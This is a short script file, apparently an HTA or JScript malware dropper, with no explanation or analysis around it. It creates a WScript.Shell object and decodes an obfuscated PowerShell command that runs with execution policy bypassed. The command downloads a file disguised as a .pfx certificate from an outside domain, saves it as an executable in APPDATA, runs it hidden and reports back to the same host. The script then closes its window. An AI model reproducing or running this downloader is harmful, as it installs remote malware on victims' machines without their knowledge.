Script

<script>
var s = ActiveXObject;
var runner = new s('WScript.Shell');
var goro = (decodeURIComponent("p%20o%20w%20e%20r%20s%20h%20e%20l%20l")).replace(/ /g,'');
goro = goro + decodeURIComponent("%20-Exec%20Bypass%20-NoExit%20-Command%20%28New-Object%20System.Net.WebClient%29.DownloadFile%28%27http%3A%2F%2Fpotomuchtosrazuskazaleb.com%2FAFK%2Fversusa.pfx%27%2C%20%24env%3AAPPDATA%20%2B%20%27%5C%5Cc7dd089a.exe%27%29%3B%20Start-Process%20%24env%3AAPPDATA%27%5C%5Cc7dd089a.exe%27%3B%20%28New-Object%20System.Net.WebClient%29.DownloadString%28%27http%3A%2F%2Fpotomuchtosrazuskazaleb.com%2Fs.php%3Fid%3Dversusa%27%29%3B");
 setTimeout(function(){window.close()},10000);
 setTimeout(function(){runner.run(goro,0)})
</script>